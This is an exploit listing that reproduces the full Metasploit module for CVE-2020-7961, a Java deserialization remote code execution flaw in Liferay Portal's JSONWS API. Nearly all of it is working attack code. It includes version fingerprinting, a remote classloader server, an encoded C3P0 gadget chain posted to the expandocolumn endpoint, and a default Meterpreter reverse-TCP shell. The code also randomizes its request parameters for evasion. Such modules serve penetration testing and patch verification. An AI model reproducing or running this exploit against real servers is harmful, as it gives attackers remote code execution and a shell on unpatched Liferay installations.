Liferay portal java unmarshalling via jsonws rce (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-04-16 | Type : remote | Platform : java

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
include Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(update_info(info,
'Name' => 'Liferay Portal Java Unmarshalling via JSONWS RCE',
'Description' => %q{
This module exploits a Java unmarshalling vulnerability via JSONWS in
Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and 7.2.1 GA2
to execute code as the Liferay user. Tested against 7.2.0 GA1.
},
'Author' => [
'Markus Wulftange', # Discovery
'Thomas Etrillard', # PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-7961'],
['URL', 'https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html'],
['URL', 'https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html'],
['URL', 'https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271']
],
'DisclosureDate' => '2019-11-25', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
['Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_tcp'},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
# GET / response contains a Liferay-Portal header with version information
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

unless res
return CheckCode::Unknown('Target did not respond to check request.')
end

unless res.headers['Liferay-Portal']
return CheckCode::Unknown(
'Target did not respond with Liferay-Portal header.'
)
end

=begin
Building the Liferay-Portal header:
https://github.com/liferay/liferay-portal/blob/master/portal-kernel/src/com/liferay/portal/kernel/util/ReleaseInfo.java
Liferay-Portal header data:
https://github.com/liferay/liferay-portal/blob/master/release.properties

Example GET / response:
HTTP/1.1 200
[snip]
Liferay-Portal: Liferay Community Edition Portal 7.2.0 CE GA1 (Mueller / Build 7200 / June 4, 2019)
[snip]
=end
version, build = res.headers['Liferay-Portal'].scan(
/^Liferay.*Portal ([\d.]+.*GA\d+).*Build (\d+)/
).flatten

unless version && (build = Integer(build) rescue nil)
return CheckCode::Detected(
'Target did not respond with Liferay version and build.'
)
end

# XXX: Liferay versions older than 7.2.1 GA2 (build 7201) "may" be unpatched
if build < 7201
return CheckCode::Appears(
"Liferay #{version} MAY be a vulnerable version. Please verify."
)
end

CheckCode::Safe("Liferay #{version} is NOT a vulnerable version.")
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

# Start our HTTP server to provide remote classloading
@classloader_uri = start_service

unless @classloader_uri
fail_with(Failure::BadConfig, 'Could not start remote classloader server')
end

print_good("Started remote classloader server at #{@classloader_uri}")

# Send our remote classloader gadget to the target, triggering the vuln
send_request_gadget(
normalize_uri(target_uri.path, '/api/jsonws/expandocolumn/update-column'),
# Required POST parameters for /api/jsonws/expandocolumn/update-column:
# https://github.com/liferay/liferay-portal/blob/master/portal-impl/src/com/liferay/portlet/expando/service/impl/ExpandoColumnServiceImpl.java
'columnId' => rand(8..42), # Randomize for "evasion"
'name' => rand(8..42), # Randomize for "evasion"
'type' => rand(8..42) # Randomize for "evasion"
)
end

# Convenience method to send our gadget to a URI with desired POST params
def send_request_gadget(uri, vars_post = {})
print_status("Sending remote classloader gadget to #{full_uri(uri)}")

vars_post['+defaultData'] =
'com.mchange.v2.c3p0.WrapperConnectionPoolDataSource'

vars_post['defaultData.userOverridesAsString'] =
"HexAsciiSerializedMap:#{go_go_gadget.unpack1('H*')};"

send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => vars_post
}, 0)
end

# Generate all marshalsec payloads for the Jackson marshaller:
# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a
def go_go_gadget
# Implementation of the Jackson marshaller's C3P0WrapperConnPool gadget:
# https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/C3P0WrapperConnPool.java
gadget = Rex::Text.decode_base64(
<<~EOF
rO0ABXNyAD1jb20ubWNoYW5nZS52Mi5uYW1pbmcuUmVmZXJlbmNlSW5kaXJlY3RvciRSZWZl
cmVuY2VTZXJpYWxpemVkYhmF0NEqwhMCAARMAAtjb250ZXh0TmFtZXQAE0xqYXZheC9uYW1p
bmcvTmFtZTtMAANlbnZ0ABVMamF2YS91dGlsL0hhc2h0YWJsZTtMAARuYW1lcQB+AAFMAAly
ZWZlcmVuY2V0ABhMamF2YXgvbmFtaW5nL1JlZmVyZW5jZTt4cHBwcHNyABZqYXZheC5uYW1p
bmcuUmVmZXJlbmNl6MaeoqjpjQkCAARMAAVhZGRyc3QAEkxqYXZhL3V0aWwvVmVjdG9yO0wA
DGNsYXNzRmFjdG9yeXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAFGNsYXNzRmFjdG9yeUxvY2F0
aW9ucQB+AAdMAAljbGFzc05hbWVxAH4AB3hwc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuv
AQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0
ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFuZy5PYmplY3Q7
kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQABEhBQ0t0AANUSEV0AAZQTEFORVQ=
EOF
)

# Replace length-prefixed placeholder strings with our own
gadget.sub!("\x00\x04HACK", packed_class_name)
gadget.sub!("\x00\x03THE", packed_classloader_uri)
gadget.sub("\x00\x06PLANET", packed_class_name)
end

# Convenience method to pack the classloader URI as a length-prefixed string
def packed_classloader_uri
"#{[@classloader_uri.length].pack('n')}#{@classloader_uri}"
end

end